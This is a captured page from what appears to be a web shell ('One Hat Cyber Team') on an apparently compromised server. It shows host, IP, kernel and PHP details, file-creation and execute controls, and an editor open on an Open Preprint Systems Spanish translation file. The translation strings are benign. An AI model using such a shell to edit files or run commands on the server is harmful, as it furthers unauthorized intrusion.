One Hat Cyber Team
Your IP :
216.73.216.115
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
ops
/
locale
/
es_ES
/
Edit File:
locale.po
msgid "" msgstr "" "PO-Revision-Date: 2020-08-25 18:36+0000\n" "Last-Translator: Manuel Garcia <usuariodemanuel@gmail.com>\n" "Language-Team: Spanish <http://translate.pkp.sfu.ca/projects/ops/locale/" "es_ES/>\n" "Language: es_ES\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Generator: Weblate 3.9.1\n" #, fuzzy msgid "installer.installationInstructions" msgstr "" "<h4>Versión OPS {$version}</h4><p>Gracias por descargar <strong>Open " "Preprint Systems</strong> de Public Knowledge Project. Antes de continuar, " "consulte el archivo <a href=\"{$baseUrl}/docs/README.md\">README</a> " "incluido con este software. Para obtener más información sobre Public " "Knowledge Project y sus proyectos de software, visite el <a href=\"" "http://pkp.sfu.ca/\" target=\"_blank\">sitio web de PKP</a>. Si tiene " "informes de errores o consultas de soporte técnico sobre Open Preprint " "Systems, consulte el <a href=\"http://forum.pkp.sfu.ca\" target=\"_blank\">" "foro de soporte</a> o visite el <a href=\"https://github.com/pkp/pkp-lib#" "issues\" target=\"_blank\">sistema de informe de errores</a> en línea de " "PKP. Aunque el foro de soporte es el método de contacto prioritario, " "también puede enviar un correo electrónico al equipo: <a href=\"" "mailto:pkp.contact@gmail.com\"" ">pkp.contact@gmail.com</a>.</p><h4>Actualización</h4><p>Si está actualizando " "una instalación existente de OPS, <a href=\"{$upgradeUrl}\">haga clic " "aquí</a> para continuar.</p><h4>Requisitos de sistema recomendados</h4><ul>\t" "<li><a href=\"http://www.php.net/\" target=\"_blank\">PHP</a> >= " "{$phpRequiredVersion}; actualmente está utilizando PHP " "{$phpVersion}{$wrongPhpText}</li>\t<li><a href=\"http://www.mysql.com/\" " "target=\"_blank\">MySQL</a> >= 4.1 o <a href=\"http://www.postgresql.org/\" " "target=\"_blank\">PostgreSQL</a> >= 9.1.5</li>\t<li><a href=\"" "http://httpd.apache.org/\" target=\"_blank\">Apache</a> >= 1.3.2x o >= " "2.0.4x o Microsoft IIS 6</li>\t<li>Sistema operativo: cualquier SO que " "admita el software anterior, incluyendo <a href=\"http://www.linux.org/\" " "target=\"_blank\">Linux</a>, <a href=\"http://www.bsd.org/\" target=\"" "_blank\">BSD</a>, <a href=\"http://www.oracle.com/sun/\" target=\"_blank\"" ">Solaris</a>, <a href=\"http://www.apple.com/\" target=\"_blank\">Mac OS " "X</a>, <a href=\"http://www.microsoft.com/\">Windows</a></li></ul><p>Puesto " "que PKP no tiene recursos para probar todas las combinaciones posibles de " "versiones de software y plataformas, no garantiza el correcto funcionamiento " "ni el soporte.</p><p>Se pueden hacer cambios a estos ajustes después de la " "instalación editando el archivo <tt>config.inc.php</tt> en el directorio " "base de OPS o a través de la interfaz web de administración del " "sitio.</p><h4>Sistemas de bases de datos compatibles</h4><p>Actualmente, OPS " "solo se ha probado en MySQL y PostgreSQL, aunque otros sistemas de " "administración de bases de datos soportados por <a href=\"" "http://adodb.sourceforge.net/\" target=\"_blank\">ADOdb</a> podrían " "funcionar (total o parcialmente). Los informes de compatibilidad y/o parches " "de código para DBMS alternativos se pueden enviar al equipo de OPS.</p>" msgid "search.results.orderBy.popularityAll" msgstr "Popularidad (de todos los tiempos)" msgid "installer.upgradeInstructions" msgstr "<h4>OPS Versión {$version}</h4>" msgid "installer.preInstallationInstructions" msgstr "" "<h4>Pasos previos a la instalación</h4> <p>1. Los siguientes archivos y " "directorios (y sus contenidos) deben poder escribirse:</p> <ul> <li> <tt> " "config.inc.php </tt> es editable (opcional):{$writable_config}</li> <li> <tt>" " public/</tt> se puede escribir: {$writable_public}</li> <li> <tt>caché/</tt>" " se puede escribir:{$writable_cache}</li> <li> <tt> cache/t_cache/</tt> se " "puede escribir: {$writable_templates_cache} </li> <li> <tt> cache/t_compile/" "</tt> se puede escribir: {$writable_templates_compile} </li> <li> <tt> cache/" "_db </tt> se puede escribir: {$writable_db_cache} </li> </ul> <p>2. Debe " "crearse un directorio para almacenar archivos cargados y escribirse (" "consulte \"Configuración de archivo\" a continuación). </p>" msgid "installer.appInstallation" msgstr "Instalación OPS" msgid "help.goToEditPage" msgstr "Editar {$sectionTitle}" #, fuzzy msgid "about.aboutOJSSite" msgstr "" "Este sitio utiliza Open Preprint Systems {$ojsVersion}, que es un software " "de gestión y publicación de servidores de código abierto desarrollado, " "respaldado y distribuido libremente por el <a href=\"http://pkp.sfu.ca/\">" "Public Knowledge Project</a> bajo la Licencia Pública General de GNU." #, fuzzy msgid "about.aboutOJSJournal" msgstr "" "Este servidor utiliza Open Preprint Systems {$ojsVersion}, que es un " "software de gestión y publicación de servidores de código abierto " "desarrollado, soportado y distribuido libremente por el <a href=\"" "http://pkp.sfu.ca/\">Public Knowledge Projec </a> bajo la Licencia Pública " "General de GNU." #, fuzzy msgid "about.aboutThisPublishingSystem.altText" msgstr "Proceso editorial y de publicación de OPS" #, fuzzy msgid "about.aboutThisPublishingSystem" msgstr "" "Más información sobre el sistema de publicación, la plataforma y el flujo de " "trabajo de OPS/PKP." msgid "about.privacyStatement" msgstr "Declaracion de privacidad" msgid "about.copyrightNotice" msgstr "Aviso de copyright" msgid "about.submissionPreparationChecklist.description" msgstr "" "Como parte del proceso de envío, los autores deben verificar el cumplimiento " "de su envío con todos los elementos siguients, y los envíos podrán " "devolverse a los autores que no cumplan con estas pautas." msgid "about.submissionPreparationChecklist" msgstr "Lista de verificación de preparación de envío" msgid "about.authorGuidelines" msgstr "Pautas del autor" msgid "about.onlineSubmissions.viewSubmissions" msgstr "vea sus envíos pendientes" msgid "about.onlineSubmissions.newSubmission" msgstr "Hacer un nuevo envío" #, fuzzy msgid "about.onlineSubmissions.submitToSection" msgstr "Realice un nuevo envío a la serie <a href=\"{$url}\">{$name}</a>." msgid "about.onlineSubmissions.submissionActions" msgstr "{$newSubmission} o {$viewSubmissions}." msgid "about.onlineSubmissions.registrationRequired" msgstr "{$login} o {$register} para realizar un envío." msgid "about.onlineSubmissions.register" msgstr "Registrarse" msgid "about.onlineSubmissions.login" msgstr "Iniciar sesión" msgid "about.submissions" msgstr "Envíos" #, fuzzy msgid "about.editorialTeam" msgstr "Equipo editorial" msgid "about.aboutContext" msgstr "Sobre el servidor" msgid "about.contact" msgstr "Contacto" msgid "archive.archivesPageNumber" msgstr "Archivos - Página {$pageNumber}" msgid "archive.archives" msgstr "Archivos" msgid "site.noJournals" msgstr "No hay servidores disponibles." msgid "site.journalView" msgstr "Ver servidor" msgid "search.authorDetails" msgstr "Detalles del autor" msgid "search.authorIndex" msgstr "Examinar el índice de autor" msgid "search.searchFor" msgstr "Buscar preimpresos para" msgid "index.latestPreprints" msgstr "Últimos preprints" msgid "user.register.form.missingSiteConsent" msgstr "Debe aceptar la declaración de privacidad de este sitio." msgid "user.register.form.missingContextConsent" msgstr "" "Debe aceptar la declaración de privacidad de cualquier servidor con el que " "se esté registrando." msgid "user.register.form.privacyConsentThisContext" msgstr "" "Sí, acepto que mis datos se recopilen y almacenen de acuerdo con la <a href=" "\"{$privacyUrl}\" target=\"_blank\"> declaración de privacidad</a> de este " "servidor." msgid "user.register.registrationDisabled" msgstr "Este servidor actualmente no acepta registro de usuarios." msgid "submission.layout.galley.remotelyHostedContent" msgstr "Esta galerada estará disponible en un sitio web separado." msgid "manager.people.noAdministrativeRights" msgstr "" "Lo sentimos, no tiene derechos administrativos sobre este usuario. Esto " "puede deberse a que: <ul> <li>El usuario es administrador del sitio</li> <li>" "El usuario está activo en servidores que no administra</li> </ul>Esta tarea " "debe ser realizada por un administrador del sitio." msgid "search.results.orderDir.desc" msgstr "Descendente" msgid "search.results.orderDir.asc" msgstr "Ascendente" msgid "search.results.orderBy.relevance" msgstr "Relevancia" msgid "search.results.orderBy.popularityMonth" msgstr "Popularidad (último mes)" msgid "search.results.orderBy.journal" msgstr "Título del servidor" #, fuzzy msgid "search.results.orderBy.date" msgstr "Fecha de publicación" msgid "search.results.orderBy.author" msgstr "Autor" msgid "search.results.orderBy.article" msgstr "Título de preprint" msgid "search.results.orderBy" msgstr "Ordenar resultados por" msgid "submission.event.submissionSubmitted" msgstr "Preprint enviado" #, fuzzy msgid "user.role.subEditors" msgstr "Editores de series" #, fuzzy msgid "user.role.subEditor" msgstr "Editor de series" #, fuzzy msgid "user.role.manager" msgstr "Administrador de servidores" msgid "user.register.noContextReviewerInterests" msgstr "Si solicitó ser un revisor, ingrese sus temas de interés." msgid "user.register.otherContextRoles" msgstr "Solicite los siguientes roles." msgid "user.register.contextsPrompt" msgstr "¿Con qué servidores de este sitio le gustaría registrarse?" msgid "user.noRoles.selectUsersWithoutRoles" msgstr "Incluya usuarios sin roles en este servidor." msgid "context.context" msgstr "Servidor" msgid "context.contexts" msgstr "Servidores" msgid "submission.search" msgstr "Búsqueda de preprint" msgid "submissions.published" msgstr "Postado" msgid "article.abstract" msgstr "Resumen" msgid "article.details" msgstr "Detalles" msgid "publication.version" msgstr "Versión {$version}" msgid "common.publications" msgstr "Preprints" msgid "common.publication" msgstr "Preprint" msgid "section.emptySection" msgstr "Todavía no se ha postado nada en esta serie." #, fuzzy msgid "section.pathDescription" msgstr "" "Ruta URL de la serie. Use guiones (-) en lugar de espacios. Ejemplo: " "historia-cultural." #, fuzzy msgid "section.description" msgstr "Descripción del Archivo de la Serie" #, fuzzy msgid "section.policy" msgstr "Política de serie" msgid "section.abbreviation" msgstr "Abreviatura" #, fuzzy msgid "section.title" msgstr "Título de la serie" #, fuzzy msgid "section.sections" msgstr "Serie" #, fuzzy msgid "section.section" msgstr "Serie" msgid "common.queue.long.active" msgstr "Activo" msgid "common.queue.long.submissionsUnassigned" msgstr "No asignado" msgid "navigation.skip.about" msgstr "Saltar a sobre el servidor" msgid "navigation.browseByAuthor" msgstr "Por autor" msgid "common.software" msgstr "Open Preprint Systems" msgid "context.select" msgstr "Cambie a otro servidor:" msgid "context.current" msgstr "Servidor actual:" msgid "publication.galley.downloads" msgstr "Descargas: {$downloads}" msgid "submission.dates" msgstr "Enviado {$submitted} - Postado {$published}" msgid "submission.numberOfVersions" msgstr "Versiones: {$numberOfVersions}" msgid "submission.layout.galleyPublicIdentificationExists" msgstr "La identificación pública de la galerada ya existe." msgid "category.categories" msgstr "Categorías" msgid "submission.layout.galley.remoteURL" msgstr "URL de contenido alojado de forma remota" msgid "article.pageTitle" msgstr "Vista de {$title}"
Simpan